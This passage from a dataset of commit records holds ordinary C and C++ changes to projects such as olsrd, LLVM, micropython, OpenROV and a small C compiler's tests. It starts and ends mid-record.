Zebra socket *\/\n#ifndef ZEBRA_SOCKPATH\n#define ZEBRA_SOCKPATH \"\/var\/run\/quagga\/zserv.api\"\n#endif\n\n\/* Quagga plugin flags *\/\n\nvoid zebra_init(void);\nvoid zebra_fini(void);\nint zebra_addroute(const struct rt_entry *);\nint zebra_delroute(const struct rt_entry *);\nvoid zebra_redistribute(uint16_t cmd);\nvoid zebra_hello(uint16_t cmd);\n\n\/*\n * Local Variables:\n * c-basic-offset: 2\n * indent-tabs-mode: nil\n * End:\n *\/\n","subject":"Add missing declaration of zebra_hello()","message":"Add missing declaration of zebra_hello()\n","lang":"C","license":"bsd-3-clause","repos":"diogomg\/olsrd,zioproto\/olsrd,ninuxorg\/olsrd,diogomg\/olsrd-binary-heap,acinonyx\/olsrd,nolith\/olsrd,diogomg\/olsrd,zioproto\/olsrd,tdz\/olsrd,tdz\/olsrd,servalproject\/olsr,tdz\/olsrd,acinonyx\/olsrd,nolith\/olsrd,ninuxorg\/olsrd,diogomg\/olsrd-binary-heap,ninuxorg\/olsrd,acinonyx\/olsrd,duydb2\/olsr,diogomg\/olsrd,cholin\/olsrd,diogomg\/olsrd,diogomg\/olsrd,sebkur\/olsrd,sebkur\/olsrd,diogomg\/olsrd-binary-heap,nolith\/olsrd,cholin\/olsrd,duydb2\/olsr,duydb2\/olsr,diogomg\/olsrd-binary-heap,diogomg\/olsrd,diogomg\/olsrd-binary-heap,acinonyx\/olsrd,nolith\/olsrd,cholin\/olsrd,sebkur\/olsrd,ninuxorg\/olsrd,servalproject\/olsr,sebkur\/olsrd,servalproject\/olsr,servalproject\/olsr,sebkur\/olsrd,duydb2\/olsr,servalproject\/olsr,cholin\/olsrd,tdz\/olsrd,cholin\/olsrd,zioproto\/olsrd,diogomg\/olsrd-binary-heap,sebkur\/olsrd,duydb2\/olsr,diogomg\/olsrd,duydb2\/olsr,diogomg\/olsrd-binary-heap,servalproject\/olsr,nolith\/olsrd,zioproto\/olsrd,acinonyx\/olsrd,zioproto\/olsrd,ninuxorg\/olsrd,duydb2\/olsr,duydb2\/olsr,tdz\/olsrd"}
{"commit":"6d99092c13cadd87fd123590fd29006d04648a2c","old_file":"lib\/System\/Win32\/Win32.h","new_file":"lib\/System\/Win32\/Win32.h","old_contents":"\/\/===- Win32\/Win32.h - Common Win32 Include File ----------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines things specific to Win32 implementations.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/=== WARNING: Implementation here must contain only generic Win32 code that\n\/\/===          is guaranteed to work on *all* Win32 variants.\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ Require at least Windows 2000 API.\n#define _WIN32_WINNT 0x0500\n\n#include \"llvm\/Config\/config.h\" \/\/ Get build system configuration settings\n#include \"windows.h\"\n#include <cassert>\n#include <string>\n\ninline bool MakeErrMsg(std::string* ErrMsg, const std::string& prefix) {\n  if (!ErrMsg)\n    return true;\n  char *buffer = NULL;\n  FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,\n      NULL, GetLastError(), 0, (LPSTR)&buffer, 1, NULL);\n  *ErrMsg = prefix + buffer;\n  LocalFree(buffer);\n  return true;\n}\n\nclass AutoHandle {\n  HANDLE handle;\n\npublic:\n  AutoHandle(HANDLE h) : handle(h) {}\n\n  ~AutoHandle() {\n    if (handle)\n      CloseHandle(handle);\n  }\n\n  operator HANDLE() {\n    return handle;\n  }\n\n  AutoHandle &operator=(HANDLE h) {\n    handle = h;\n    return *this;\n  }\n};\n","new_contents":"\/\/===- Win32\/Win32.h - Common Win32 Include File ----------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines things specific to Win32 implementations.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/=== WARNING: Implementation here must contain only generic Win32 code that\n\/\/===          is guaranteed to work on *all* Win32 variants.\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ Require at least Windows 2000 API.\n#define _WIN32_WINNT 0x0500\n\n#include \"llvm\/Config\/config.h\" \/\/ Get build system configuration settings\n#include <Windows.h>\n#include <cassert>\n#include <string>\n\ninline bool MakeErrMsg(std::string* ErrMsg, const std::string& prefix) {\n  if (!ErrMsg)\n    return true;\n  char *buffer = NULL;\n  FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,\n      NULL, GetLastError(), 0, (LPSTR)&buffer, 1, NULL);\n  *ErrMsg = prefix + buffer;\n  LocalFree(buffer);\n  return true;\n}\n\nclass AutoHandle {\n  HANDLE handle;\n\npublic:\n  AutoHandle(HANDLE h) : handle(h) {}\n\n  ~AutoHandle() {\n    if (handle)\n      CloseHandle(handle);\n  }\n\n  operator HANDLE() {\n    return handle;\n  }\n\n  AutoHandle &operator=(HANDLE h) {\n    handle = h;\n    return *this;\n  }\n};\n","subject":"Use normalized case and include method.","message":"System\/Windows: Use normalized case and include method.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@118503 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap"}
{"commit":"ff408a945f4d59d4f289ec00c267002b2d0892bb","old_file":"AFToolkit\/AFToolkit.h","new_file":"AFToolkit\/AFToolkit.h","old_contents":"\/\/\n\/\/ Toolkit header to include the main headers of the 'AFToolkit' library.\n\/\/\n\n#import \"AFDefines.h\"\n#import \"AFLogHelper.h\"\n#import \"AFFileHelper.h\"\n#import \"AFPlatformHelper.h\"\n#import \"AFKVO.h\"\n#import \"AFArray.h\"\n#import \"AFMutableArray.h\"\n#import \"UITableViewCell+Universal.h\"\n#import \"AFDBClient.h\"\n#import \"AFView.h\"\n#import \"AFViewController.h\"","new_contents":"\/\/\n\/\/ Toolkit header to include the main headers of the 'AFToolkit' library.\n\/\/\n\n#import \"AFDefines.h\"\n#import \"AFLogHelper.h\"\n#import \"AFFileHelper.h\"\n#import \"AFPlatformHelper.h\"\n#import \"AFKVO.h\"\n#import \"AFArray.h\"\n#import \"AFMutableArray.h\"\n#import \"NSBundle+Universal.h\"\n#import \"UITableViewCell+Universal.h\"\n#import \"AFDBClient.h\"\n#import \"AFView.h\"\n#import \"AFViewController.h\"","subject":"Add NSBundle+Universal.h to toolkit header","message":"Add NSBundle+Universal.h to toolkit header\n","lang":"C","license":"mit","repos":"mlatham\/AFToolkit"}
{"commit":"99f65931e88b3a22b2bd5e9e88bf6798c529023c","old_file":"cc1\/tests\/test038.c","new_file":"cc1\/tests\/test038.c","old_contents":"","new_contents":"\n\/*\nname: TEST038\ndescription: Basic test for tentative definitions\noutput:\nG1\tI\tx\n\tG1\t#I0\t:I\nF2\tI\tE\nX3\tF2\tmain\nF4\tP\tE\nG5\tF4\tfoo\n{\n\\\n\tr\tX3\t'P\n}\nG3\tF2\tmain\n{\n\\\n\tG1\t#I0\t:I\n\tr\tG1\n}\n*\/\n\nint x;\nint x = 0;\nint x;\n\nint main();\n\nvoid *\nfoo()\n{\n\treturn &main;\n}\n\nint\nmain()\n{\n\tx = 0;\n\treturn x;\n}\n","subject":"Add basic test for tentative definitions","message":"Add basic test for tentative definitions\n","lang":"C","license":"isc","repos":"8l\/scc,k0gaMSX\/scc,8l\/scc,8l\/scc,k0gaMSX\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/kcc"}
{"commit":"b8b54f0d5c97324a7534bfeed523660c7296f9da","old_file":"cc1\/tests\/test031.c","new_file":"cc1\/tests\/test031.c","old_contents":"","new_contents":"\n\/*\nname: TEST031\ndescription: Test concatenation in preprocessor\noutput:\nF5\tI\nG6\tF5\tmain\n{\n\\\nA7\tI\tfoo\nA8\tI\tbar\nA9\tI\tfoobar\n\tA9\tA7\tA8\t+I\t:I\n\tA9\tA7\tA8\t+I\t:I\n\tr\t#I0\n}\n*\/\n\n#define CAT(x,y) x ## y\n#define XCAT(x,y) CAT(x,y)\n#define FOO foo\n#define BAR bar\n\nint\nmain(void)\n{\n\tint foo, bar, foobar;\n\n\tCAT(foo,bar) = foo + bar;\n\tXCAT(FOO,BAR) = foo + bar;\n\treturn 0;\n}\n\n","subject":"Add test for concatenation in the preprocessor","message":"Add test for concatenation in the preprocessor\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/kcc,8l\/scc,8l\/scc,8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/scc"}
{"commit":"d22e16e698bbc6c64666bf0f1e46015adecb0ce5","old_file":"constant-helper.c","new_file":"constant-helper.c","old_contents":"#include <fcntl.h>\n#include <stdio.h>\n\nint\nmain(void)\n{\n    printf(\"F_GETFL=%d\\n\", F_GETFL);\n    printf(\"F_SETFL=%d\\n\", F_SETFL);\n    printf(\"O_NONBLOCK=%d\\n\", O_NONBLOCK);\n\n    return 0;\n}\n","new_contents":"#if _WIN32 || _WIN64\n# define F_GETFL    0\n# define F_SETFL    0\n# define O_NONBLOCK 0\n#else\n# include <fcntl.h>\n#endif\n\n#include <stdio.h>\n\nint\nmain(void)\n{\n    printf(\"F_GETFL=%d\\n\", F_GETFL);\n    printf(\"F_SETFL=%d\\n\", F_SETFL);\n    printf(\"O_NONBLOCK=%d\\n\", O_NONBLOCK);\n\n    return 0;\n}\n","subject":"Use zeroes for fcntl constants on Windows","message":"Use zeroes for fcntl constants on Windows\n\nWe don't need to fcntl on Windows, so let's just use dummy\nvalues\n","lang":"C","license":"mit","repos":"hoelzro\/p6-linenoise,hoelzro\/p6-linenoise"}
{"commit":"4f130e6c40d5da1b47c398edaf3979c3fab4a9b2","old_file":"languages\/c-language\/magic-primes.c","new_file":"languages\/c-language\/magic-primes.c","old_contents":"","new_contents":"\/*\n * Compute prime numbers up to 67.\n *\n * https:\/\/spamsink.dreamwidth.org\/1197779.html\n *\/\n#include <stdio.h>\n#include <math.h>\n\ndouble magic(double f)\n{\n    double ff = floor(f);\n    double r = log(ff + 6) * (log(ff + 6) - 1);\n    return (f - ff) * floor(r) + f;\n}\n\ndouble C = 2.6358597414547913;\n\nint main()\n{\n    int i;\n    for (i = 1; i < 20; ++i) {\n        printf(\"%d\\n\", (int)C);\n        C = magic(C);\n    }\n    return 0;\n}\n","subject":"Add demo of magic primes.","message":"Add demo of magic primes.\n","lang":"C","license":"apache-2.0","repos":"sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource,sergev\/vak-opensource"}
{"commit":"ee462489f1da5ea332851843d10541594f6fc7b0","old_file":"stm\/usart.h","new_file":"stm\/usart.h","old_contents":"typedef enum {\n    PYB_USART_NONE = 0,\n    PYB_USART_1 = 1,\n    PYB_USART_2 = 2,\n    PYB_USART_3 = 3,\n    PYB_USART_6 = 4,\n    PYB_USART_MAX = 4,\n} pyb_usart_t;\n\nextern pyb_usart_t pyb_usart_global_debug;\n\nvoid usart_init(pyb_usart_t usart_id, uint32_t baudrate);\nbool usart_rx_any(pyb_usart_t usart_id);\nint usart_rx_char(pyb_usart_t usart_id);\nvoid usart_tx_str(pyb_usart_t usart_id, const char *str);\nvoid usart_tx_strn_cooked(pyb_usart_t usart_id, const char *str, int len);\n\nmp_obj_t pyb_Usart(mp_obj_t usart_id, mp_obj_t baudrate);\n","new_contents":"typedef enum {\n    PYB_USART_NONE = 0,\n    PYB_USART_1 = 1,\n    PYB_USART_2 = 2,\n    PYB_USART_3 = 3,\n    PYB_USART_6 = 4,\n    PYB_USART_MAX = 4,\n\n    \/\/PYB_USART_XA =  \/\/ USART4 on X1, X2 = PA0, PA1\n    PYB_USART_XB = 1, \/\/ USART1 on X9, X10 = PB6, PB7\n    PYB_USART_YA = 4, \/\/ USART6 on Y1, Y2 = PC6, PC7\n    PYB_USART_YB = 3, \/\/ USART3 on Y9, Y10 = PB10, PB11\n} pyb_usart_t;\n\nextern pyb_usart_t pyb_usart_global_debug;\n\nvoid usart_init(pyb_usart_t usart_id, uint32_t baudrate);\nbool usart_rx_any(pyb_usart_t usart_id);\nint usart_rx_char(pyb_usart_t usart_id);\nvoid usart_tx_str(pyb_usart_t usart_id, const char *str);\nvoid usart_tx_strn_cooked(pyb_usart_t usart_id, const char *str, int len);\n\nmp_obj_t pyb_Usart(mp_obj_t usart_id, mp_obj_t baudrate);\n","subject":"Add USART enum for pyboard skin labels.","message":"stm: Add USART enum for pyboard skin labels.\n","lang":"C","license":"mit","repos":"pozetroninc\/micropython,TDAbboud\/micropython,bvernoux\/micropython,infinnovation\/micropython,jimkmc\/micropython,feilongfl\/micropython,chrisdearman\/micropython,jimkmc\/micropython,suda\/micropython,dmazzella\/micropython,ericsnowcurrently\/micropython,paul-xxx\/micropython,SungEun-Steve-Kim\/test-mp,chrisdearman\/micropython,jmarcelino\/pycom-micropython,paul-xxx\/micropython,adafruit\/micropython,mgyenik\/micropython,praemdonck\/micropython,methoxid\/micropystat,kerneltask\/micropython,torwag\/micropython,HenrikSolver\/micropython,mpalomer\/micropython,KISSMonX\/micropython,ChuckM\/micropython,galenhz\/micropython,ernesto-g\/micropython,kostyll\/micropython,jmarcelino\/pycom-micropython,Timmenem\/micropython,neilh10\/micropython,dhylands\/micropython,ChuckM\/micropython,Vogtinator\/micropython,rubencabrera\/micropython,ericsnowcurrently\/micropython,ChuckM\/micropython,SungEun-Steve-Kim\/test-mp,paul-xxx\/micropython,misterdanb\/micropython,praemdonck\/micropython,adamkh\/micropython,mpalomer\/micropython,pozetroninc\/micropython,vitiral\/micropython,MrSurly\/micropython-esp32,rubencabrera\/micropython,adafruit\/circuitpython,feilongfl\/micropython,dinau\/micropython,jimkmc\/micropython,adafruit\/circuitpython,oopy\/micropython,toolmacher\/micropython,jmarcelino\/pycom-micropython,tuc-osg\/micropython,omtinez\/micropython,cwyark\/micropython,cloudformdesign\/micropython,swegener\/micropython,tobbad\/micropython,HenrikSolver\/micropython,stonegithubs\/micropython,blmorris\/micropython,kerneltask\/micropython,mpalomer\/micropython,torwag\/micropython,neilh10\/micropython,mianos\/micropython,aethaniel\/micropython,turbinenreiter\/micropython,martinribelotta\/micropython,torwag\/micropython,ganshun666\/micropython,paul-xxx\/micropython,vriera\/micropython,bvernoux\/micropython,aitjcize\/micropython,KISSMonX\/micropython,blmorris\/micropython,MrSurly\/micropython-esp32,suda\/micropython,vriera\/micropython,ahotam\/micropython,jlillest\/micropython,lowRISC\/micropython,tdautc19841202\/micropython,ernesto-g\/micropython,ryannathans\/micropython,hosaka\/micropython,mhoffma\/micropython,torwag\/micropython,vitiral\/micropython,tralamazza\/micropython,emfcamp\/micropython,rubencabrera\/micropython,adafruit\/micropython,adafruit\/micropython,aethaniel\/micropython,alex-robbins\/micropython,ericsnowcurrently\/micropython,AriZuu\/micropython,noahchense\/micropython,PappaPeppar\/micropython,xhat\/micropython,AriZuu\/micropython,xyb\/micropython,adafruit\/circuitpython,ryannathans\/micropython,MrSurly\/micropython,bvernoux\/micropython,matthewelse\/micropython,slzatz\/micropython,swegener\/micropython,TDAbboud\/micropython,xhat\/micropython,blazewicz\/micropython,cwyark\/micropython,pfalcon\/micropython,drrk\/micropython,praemdonck\/micropython,adamkh\/micropython,AriZuu\/micropython,redbear\/micropython,stonegithubs\/micropython,pozetroninc\/micropython,SHA2017-badge\/micropython-esp32,mhoffma\/micropython,dmazzella\/micropython,cwyark\/micropython,hiway\/micropython,xyb\/micropython,lbattraw\/micropython,tdautc19841202\/micropython,vitiral\/micropython,praemdonck\/micropython,PappaPeppar\/micropython,henriknelson\/micropython,deshipu\/micropython,kostyll\/micropython,hosaka\/micropython,mhoffma\/micropython,puuu\/micropython,omtinez\/micropython,dxxb\/micropython,drrk\/micropython,warner83\/micropython,ceramos\/micropython,danicampora\/micropython,martinribelotta\/micropython,KISSMonX\/micropython,lowRISC\/micropython,selste\/micropython,noahwilliamsson\/micropython,Timmenem\/micropython,pfalcon\/micropython,dinau\/micropython,henriknelson\/micropython,mhoffma\/micropython,EcmaXp\/micropython,pramasoul\/micropython,cloudformdesign\/micropython,Peetz0r\/micropython-esp32,martinribelotta\/micropython,chrisdearman\/micropython,mhoffma\/micropython,firstval\/micropython,feilongfl\/micropython,MrSurly\/micropython-esp32,alex-robbins\/micropython,Peetz0r\/micropython-esp32,aethaniel\/micropython,orionrobots\/micropython,dmazzella\/micropython,galenhz\/micropython,skybird6672\/micropython,heisewangluo\/micropython,ruffy91\/micropython,tuc-osg\/micropython,vitiral\/micropython,tralamazza\/micropython,orionrobots\/micropython,SungEun-Steve-Kim\/test-mp,pramasoul\/micropython,adamkh\/micropython,supergis\/micropython,slzatz\/micropython,xhat\/micropython,tobbad\/micropython,hiway\/micropython,ernesto-g\/micropython,ganshun666\/micropython,blazewicz\/micropython,jlillest\/micropython,tralamazza\/micropython,AriZuu\/micropython,hosaka\/micropython,turbinenreiter\/micropython,firstval\/micropython,mianos\/micropython,heisewangluo\/micropython,alex-march\/micropython,skybird6672\/micropython,HenrikSolver\/micropython,utopiaprince\/micropython,galenhz\/micropython,drrk\/micropython,martinribelotta\/micropython,PappaPeppar\/micropython,ruffy91\/micropython,xuxiaoxin\/micropython,lbattraw\/micropython,TDAbboud\/micropython,HenrikSolver\/micropython,redbear\/micropython,omtinez\/micropython,misterdanb\/micropython,stonegithubs\/micropython,emfcamp\/micropython,emfcamp\/micropython,EcmaXp\/micropython,rubencabrera\/micropython,galenhz\/micropython,swegener\/micropython,adafruit\/circuitpython,mgyenik\/micropython,ceramos\/micropython,jlillest\/micropython,kostyll\/micropython,MrSurly\/micropython,henriknelson\/micropython,MrSurly\/micropython-esp32,dinau\/micropython,SHA2017-badge\/micropython-esp32,hosaka\/micropython,slzatz\/micropython,stonegithubs\/micropython,lbattraw\/micropython,redbear\/micropython,TDAbboud\/micropython,ruffy91\/micropython,trezor\/micropython,henriknelson\/micropython,supergis\/micropython,cnoviello\/micropython,pfalcon\/micropython,adamkh\/micropython,Vogtinator\/micropython,ganshun666\/micropython,matthewelse\/micropython,paul-xxx\/micropython,chrisdearman\/micropython,stonegithubs\/micropython,toolmacher\/micropython,aethaniel\/micropython,trezor\/micropython,matthewelse\/micropython,adafruit\/circuitpython,pfalcon\/micropython,mpalomer\/micropython,tuc-osg\/micropython,KISSMonX\/micropython,MrSurly\/micropython,feilongfl\/micropython,neilh10\/micropython,micropython\/micropython-esp32,suda\/micropython,matthewelse\/micropython,jimkmc\/micropython,PappaPeppar\/micropython,tobbad\/micropython,ahotam\/micropython,warner83\/micropython,orionrobots\/micropython,misterdanb\/micropython,Vogtinator\/micropython,SHA2017-badge\/micropython-esp32,emfcamp\/micropython,mianos\/micropython,mgyenik\/micropython,jmarcelino\/pycom-micropython,henriknelson\/micropython,toolmacher\/micropython,adafruit\/micropython,selste\/micropython,lowRISC\/micropython,cnoviello\/micropython,infinnovation\/micropython,methoxid\/micropystat,bvernoux\/micropython,trezor\/micropython,danicampora\/micropython,noahchense\/micropython,EcmaXp\/micropython,kerneltask\/micropython,praemdonck\/micropython,utopiaprince\/micropython,matthewelse\/micropython,puuu\/micropython,cloudformdesign\/micropython,tdautc19841202\/micropython,danicampora\/micropython,xyb\/micropython,toolmacher\/micropython,chrisdearman\/micropython,oopy\/micropython,methoxid\/micropystat,xyb\/micropython,dxxb\/micropython,alex-robbins\/micropython,heisewangluo\/micropython,Peetz0r\/micropython-esp32,rubencabrera\/micropython,kostyll\/micropython,EcmaXp\/micropython,xyb\/micropython,xuxiaoxin\/micropython,dinau\/micropython,ChuckM\/micropython,bvernoux\/micropython,redbear\/micropython,ericsnowcurrently\/micropython,tuc-osg\/micropython,aethaniel\/micropython,firstval\/micropython,aitjcize\/micropython,TDAbboud\/micropython,kerneltask\/micropython,tralamazza\/micropython,methoxid\/micropystat,mpalomer\/micropython,skybird6672\/micropython,mianos\/micropython,misterdanb\/micropython,deshipu\/micropython,heisewangluo\/micropython,SungEun-Steve-Kim\/test-mp,adafruit\/circuitpython,ruffy91\/micropython,infinnovation\/micropython,swegener\/micropython,MrSurly\/micropython,PappaPeppar\/micropython,toolmacher\/micropython,micropython\/micropython-esp32,adamkh\/micropython,blmorris\/micropython,turbinenreiter\/micropython,noahchense\/micropython,jlillest\/micropython,supergis\/micropython,swegener\/micropython,utopiaprince\/micropython,micropython\/micropython-esp32,galenhz\/micropython,ahotam\/micropython,deshipu\/micropython,blmorris\/micropython,firstval\/micropython,suda\/micropython,adafruit\/micropython,blazewicz\/micropython,noahwilliamsson\/micropython,matthewelse\/micropython,SHA2017-badge\/micropython-esp32,Vogtinator\/micropython,ceramos\/micropython,lbattraw\/micropython,lowRISC\/micropython,kerneltask\/micropython,Timmenem\/micropython,tdautc19841202\/micropython,noahwilliamsson\/micropython,dhylands\/micropython,aitjcize\/micropython,xuxiaoxin\/micropython,ryannathans\/micropython,KISSMonX\/micropython,Timmenem\/micropython,cwyark\/micropython,hosaka\/micropython,alex-robbins\/micropython,warner83\/micropython,jmarcelino\/pycom-micropython,supergis\/micropython,dxxb\/micropython,neilh10\/micropython,xuxiaoxin\/micropython,turbinenreiter\/micropython,slzatz\/micropython,skybird6672\/micropython,heisewangluo\/micropython,trezor\/micropython,dhylands\/micropython,noahchense\/micropython,xhat\/micropython,AriZuu\/micropython,alex-march\/micropython,pozetroninc\/micropython,micropython\/micropython-esp32,pramasoul\/micropython,SungEun-Steve-Kim\/test-mp,mgyenik\/micropython,hiway\/micropython,jimkmc\/micropython,alex-march\/micropython,ryannathans\/micropython,micropython\/micropython-esp32,feilongfl\/micropython,infinnovation\/micropython,omtinez\/micropython,vriera\/micropython,dinau\/micropython,SHA2017-badge\/micropython-esp32,utopiaprince\/micropython,vriera\/micropython,dxxb\/micropython,Timmenem\/micropython,pozetroninc\/micropython,warner83\/micropython,vitiral\/micropython,dhylands\/micropython,blazewicz\/micropython,tuc-osg\/micropython,Vogtinator\/micropython,MrSurly\/micropython,alex-march\/micropython,cnoviello\/micropython,warner83\/micropython,orionrobots\/micropython,ernesto-g\/micropython,orionrobots\/micropython,selste\/micropython,cloudformdesign\/micropython,redbear\/micropython,cnoviello\/micropython,xhat\/micropython,lowRISC\/micropython,tdautc19841202\/micropython,noahchense\/micropython,neilh10\/micropython,oopy\/micropython,emfcamp\/micropython,torwag\/micropython,aitjcize\/micropython,vriera\/micropython,ChuckM\/micropython,deshipu\/micropython,danicampora\/micropython,alex-march\/micropython,oopy\/micropython,omtinez\/micropython,oopy\/micropython,xuxiaoxin\/micropython,jlillest\/micropython,slzatz\/micropython,lbattraw\/micropython,noahwilliamsson\/micropython,methoxid\/micropystat,utopiaprince\/micropython,ryannathans\/micropython,MrSurly\/micropython-esp32,dmazzella\/micropython,blmorris\/micropython,ruffy91\/micropython,pramasoul\/micropython,selste\/micropython,suda\/micropython,tobbad\/micropython,martinribelotta\/micropython,kostyll\/micropython,pramasoul\/micropython,tobbad\/micropython,hiway\/micropython,blazewicz\/micropython,puuu\/micropython,pfalcon\/micropython,firstval\/micropython,mianos\/micropython,Peetz0r\/micropython-esp32,puuu\/micropython,ernesto-g\/micropython,dhylands\/micropython,cloudformdesign\/micropython,cnoviello\/micropython,HenrikSolver\/micropython,selste\/micropython,supergis\/micropython,cwyark\/micropython,ceramos\/micropython,ahotam\/micropython,puuu\/micropython,deshipu\/micropython,dxxb\/micropython,drrk\/micropython,turbinenreiter\/micropython,ceramos\/micropython,drrk\/micropython,noahwilliamsson\/micropython,misterdanb\/micropython,ahotam\/micropython,Peetz0r\/micropython-esp32,hiway\/micropython,ganshun666\/micropython,danicampora\/micropython,ericsnowcurrently\/micropython,infinnovation\/micropython,ganshun666\/micropython,trezor\/micropython,EcmaXp\/micropython,skybird6672\/micropython,mgyenik\/micropython,alex-robbins\/micropython"}
{"commit":"3443bd38e91cc5babc5f49b063571c818dc80990","old_file":"arduino\/OpenROV\/Motors.h","new_file":"arduino\/OpenROV\/Motors.h","old_contents":"#ifndef __MOTORS_H_\n#define __MOTORS_H_\n\n#include <Servo.h>\n\n#define MIDPOINT 128\n\nclass Motors {\n  private:\n    Servo port, vertical, starbord;\n    int port_pin, vertical_pin, starbord_pin;\n    \n  public:\n  \n    Motors(int p_pin, int v_pin, int s_pin);\n    void reset();\n    void go(int p, int v, int s);\n    void stop();\n    \n};\n\n#endif\n","new_contents":"#ifndef __MOTORS_H_\n#define __MOTORS_H_\n\n#include <Servo.h>\n\n#define MIDPOINT 90\n\nclass Motors {\n  private:\n    Servo port, vertical, starbord;\n    int port_pin, vertical_pin, starbord_pin;\n    \n  public:\n  \n    Motors(int p_pin, int v_pin, int s_pin);\n    void reset();\n    void go(int p, int v, int s);\n    void stop();\n    \n};\n\n#endif\n","subject":"Set MIDPOINT to 90 instead of 128 (servo lib goes from 0 to 180)","message":"Set MIDPOINT to 90 instead of 128 (servo lib goes from 0 to 180)\n","lang":"C","license":"mit","repos":"codewithpassion\/openrov-software,codewithpassion\/openrov-software,codewithpassion\/openrov-software,codewithpassion\/openrov-software"}
{"commit":"b9bcb1f7994994213d18d97f4c04582b9d6a04b2","old_file":"board\/bluepill\/pins.h","new_file":"board\/bluepill\/pins.h","old_contents":"#ifndef PINS_H_\n#define PINS_H_\n\ntypedef GPIO_PIN_LED<3,13,false> LED_BUILTIN_;\n\ntypedef GPIO_PIN<1,9> TX1_PIN;\ntypedef GPIO_PIN<1,10> RX1_PIN;\n\ntypedef TX1_PIN TX_PIN;\ntypedef RX1_PIN RX_PIN;\n\ntypedef GPIO_PIN<1,2> TX2_PIN;\ntypedef GPIO_PIN<1,3> RX2_PIN;\n\ntypedef GPIO_PIN<2,10> TX3_PIN;\ntypedef GPIO_PIN<2,11> RX3_PIN;\n\ntypedef GPIO_PIN<0,0xFFFF> NO_PIN;\n\n#endif\n","new_contents":"#ifndef PINS_H_\n#define PINS_H_\n\ntypedef GPIO_PIN_LED<3,13,false> LED_BUILTIN_;\n\ntypedef GPIO_PIN<1,9> TX1_PIN;\ntypedef GPIO_PIN<1,10> RX1_PIN;\n\ntypedef GPIO_PIN<1,2> TX2_PIN;\ntypedef GPIO_PIN<1,3> RX2_PIN;\n\ntypedef GPIO_PIN<2,10> TX3_PIN;\ntypedef GPIO_PIN<2,11> RX3_PIN;\n\ntypedef GPIO_PIN<0,0xFFFF> NO_PIN;\n\ntypedef TX2_PIN TX_PIN;\ntypedef RX2_PIN RX_PIN;\n\n#endif\n","subject":"Change default serial to USART2 for bluepill stm32f103 board","message":"Change default serial to USART2 for bluepill stm32f103 board\n","lang":"C","license":"mit","repos":"RickKimball\/fabooh,RickKimball\/fabooh"}
{"commit":"78d48b4a6c7f49ee07ff9bced8df6f7379c13d6f","old_file":"test2\/type_parsing_printing\/typeof_skip.c","new_file":"test2\/type_parsing_printing\/typeof_skip.c","old_contents":"\/\/ RUN: %ucc -Xprint %s 2>\/dev\/null | grep 'typeof' | %output_check -w \"\/typeof\\(int \\*\\) ip.*\/\" \"\/typeof\\(int \\*\\) \\*a1.*\/\" \"\/typeof\\(int \\*\\) a2\\[2\\].*\/\" \"\/typeof\\(int \\*\\) a3\\(\\).*\/\" \"typeof(expr: identifier) (aka 'long *') xyz()\"\n\nlong *x;\n\n__typeof(int *) ip;\n\n__typeof(int *) *a1;\n__typeof(int *) a2[2];\n__typeof(int *) a3();\n\n__typeof(x) xyz()\n{\n}\n","new_contents":"\/\/ RUN: %ucc -Xprint %s 2>\/dev\/null | grep 'typeof' | %output_check -w \"\/typeof\\(int \\*\\) ip.*\/\" \"\/typeof\\(int \\*\\) \\*a1.*\/\" \"\/typeof\\(int \\*\\) a2\\[2\\].*\/\" \"\/typeof\\(int \\*\\) a3\\(\\).*\/\" \"typeof(expr: identifier) (aka 'long *') abc()\" \"typeof(expr: identifier) (aka 'long *') xyz()\"\n\nlong *x;\n\n__typeof(int *) ip;\n\n__typeof(int *) *a1;\n__typeof(int *) a2[2];\n__typeof(int 